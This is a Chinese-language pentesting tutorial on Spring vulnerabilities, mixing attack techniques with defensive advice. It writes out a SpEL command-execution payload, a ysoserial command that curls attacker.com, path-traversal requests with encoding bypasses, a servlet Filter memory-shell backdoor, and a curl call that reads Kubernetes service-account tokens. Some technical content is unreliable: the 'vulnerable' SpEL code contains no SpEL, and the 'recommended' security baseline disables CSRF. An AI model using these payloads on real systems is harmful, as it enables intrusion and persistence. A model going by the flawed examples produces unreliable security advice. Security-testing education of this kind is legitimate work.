1. Spring漏洞测试与利用实战指南
Spring框架作为Java生态中最流行的应用开发框架,其安全性一直备受关注。去年爆出的Spring4Shell漏洞(CVE-2022-22965)导致全球超过60%的Java应用面临远程代码执行风险,这个案例充分说明了掌握Spring漏洞测试技术的重要性。
我经历过三次重大Spring漏洞应急响应,发现很多开发团队直到漏洞被公开利用才开始仓促修补。本文将分享从白帽角度系统化测试Spring应用漏洞的方法论,涵盖从基础环境搭建到高级利用的完整链条。不同于网上零散的POC脚本,我会重点讲解漏洞背后的原理和防御绕过技巧,这些内容来自实战中的第一手经验。
2. Spring漏洞测试环境搭建
2.1 靶机环境配置
推荐使用Vulhub的Spring漏洞集合环境,这个开源项目预置了从Spring Core到Spring Security的常见漏洞场景。通过docker-compose可以快速启动:
bash复制git clone https://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2022-22965
docker-compose up -d
注意:所有测试务必在隔离网络中进行,物理机与虚拟机之间建议采用Host-only模式
2.2 测试工具链准备
我的渗透测试工具包通常会包含以下组件:
- Burp Suite Community:用于流量分析和漏洞探测
- Spring Exploit Toolkit:自定义的Spring漏洞检测脚本集
- JD-GUI:用于反编译Spring应用jar包
- Postman:构造特殊请求的辅助工具
关键工具配置要点:
- Burp需要安装Java Deserialization Scanner插件
- 设置Proxy→Options里勾选"Support invisible proxying"
- 在User options→TLS中启用"Enable ALPN"选项
3. Spring核心漏洞原理与测试
3.1 表达式注入漏洞(SPEL)
Spring Expression Language注入是Spring生态中最危险的漏洞类型。以CVE-2022-22980为例,当应用使用@ControllerAdvice处理异常时,攻击者可以通过特制请求触发SPEL解析:
java复制// 漏洞代码示例
@ControllerAdvice
public class DemoControllerAdvice {
@ExceptionHandler(value = {Exception.class})
public ResponseEntity<String> handle(Exception ex, WebRequest request) {
String message = "Error: " + ex.getMessage();
return new ResponseEntity<>(message, HttpStatus.BAD_REQUEST);
}
}
测试步骤:
- 发送包含${7*7}的恶意请求
- 观察响应中是否出现"Error: 49"
- 确认存在漏洞后尝试加载恶意类:
code复制GET /endpoint?input=${T(java.lang.Runtime).getRuntime().exec('calc')}
3.2 反序列化漏洞
Spring框架对Jackson、XStream等库的集成可能引入反序列化风险。测试时需要特别关注以下特征:
- 请求头包含Content-Type: application/json
- 响应中出现Serializable接口实现类
- 使用JdkSerializationRedisSerializer等危险序列化器
利用工具:
bash复制java -jar ysoserial.jar CommonsCollections5 "curl http://attacker.com" > payload.ser
3.3 路径遍历漏洞
Spring MVC的静态资源处理机制可能存在目录穿越风险。测试案例:
code复制GET /static/..%2F..%2Fetc/passwd HTTP/1.1
Host: vulnerable-app.com
防御绕过技巧:
- 双重编码:%252e%252e%252f
- Unicode编码:%u002e%u002e/
4. Spring Security配置缺陷测试
4.1 CSRF防护绕过
即使启用了CSRF防护,以下配置缺陷仍可能导致防护失效:
java复制@Override
protected void configure(HttpSecurity http) throws Exception {
http.csrf().ignoringAntMatchers("/api/**"); // 危险配置
}
测试方法:
- 使用Burp生成CSRF PoC
- 检查是否缺少Origin/X-Requested-With头验证
- 尝试替换HTTP方法(POST→GET)
4.2 权限校验缺失
常见错误配置模式:
java复制@PreAuthorize("hasRole('USER')")
public void userAction() {...}
// 缺少注解的方法
public void adminAction() {...}
使用Postman测试流程:
- 获取低权限用户token
- 尝试访问高权限接口
- 观察是否返回403状态码
5. 高级利用技术
5.1 内存马注入
在获取Webshell后,可以通过Java Agent技术注入内存马实现持久化:
java复制// 基于Servlet的Filter内存马
public class EvilFilter implements Filter {
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
String cmd = req.getParameter("cmd");
if(cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch(Exception e) {}
}
chain.doFilter(req, res);
}
}
注入步骤:
- 使用工具生成字节码payload
- 通过JMX或JNDI注入到目标JVM
- 注册Filter到ServletContext
5.2 云环境横向移动
当Spring应用部署在Kubernetes环境时,可以利用服务账户token进行横向移动:
bash复制# 获取默认token
curl -k https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces/default/pods \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
防御建议:
- 限制Pod的RBAC权限
- 使用NetworkPolicy隔离网络
6. 防御加固方案
6.1 安全配置基线
推荐的最小安全配置:
java复制@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.csrf().disable() // 必须显式处理CSRF
.headers()
.contentSecurityPolicy("default-src 'self'")
.and()
.frameOptions().deny()
.and()
.sessionManagement()
.sessionCreationPolicy(SessionCreationPolicy.STATELESS);
}
}
6.2 漏洞扫描方案
建议的自动化检测流程:
- 静态扫描:使用OWASP Dependency-Check检查依赖
- 动态扫描:ZAP自动化扫描+手动验证
- 配置审计:检查application.properties中的危险配置
关键检查项:
- spring.mvc.pathmatch.matching-strategy=ant_path_matcher
- server.servlet.session.persistent=true
- spring.jackson.parser.ALLOW_SINGLE_QUOTES=true
7. 实战案例记录
去年在某金融系统渗透测试中发现组合漏洞:
- 通过Spring Cloud Gateway的CVE-2022-22947绕过认证
- 利用H2数据库的console功能执行SQL
- 通过SQL注入获取管理员凭证
- 使用JNDI注入实现RCE
攻击路径示意图:
code复制[Gateway漏洞] → [H2 Console] → [SQL注入] → [凭证获取] → [JNDI注入]
防御方案:
- 禁用H2控制台
- 升级Spring Cloud Gateway
- 启用PreparedStatement
- 限制JNDI查找
8. 常见问题排查
Q:测试时遇到403但不确定是WAF还是Spring Security拦截?
A:通过以下特征区分:
- WAF:立即断开连接,响应头含安全厂商标识
- Spring Security:返回标准JSON错误,有WWW-Authenticate头
Q:如何判断反序列化漏洞是否可利用?
A:三步验证法:
- 发送正常序列化对象确认基础功能
- 使用ysoserial生成简单payload(如URLDNS)
- 逐步尝试更复杂的gadget chain
Q:Spring Boot Actuator端点如何安全测试?
A:遵循最小权限原则:
- 先访问/actuator确认暴露的端点
- 使用POST而非GET方法测试敏感操作
- 测试后立即恢复原配置
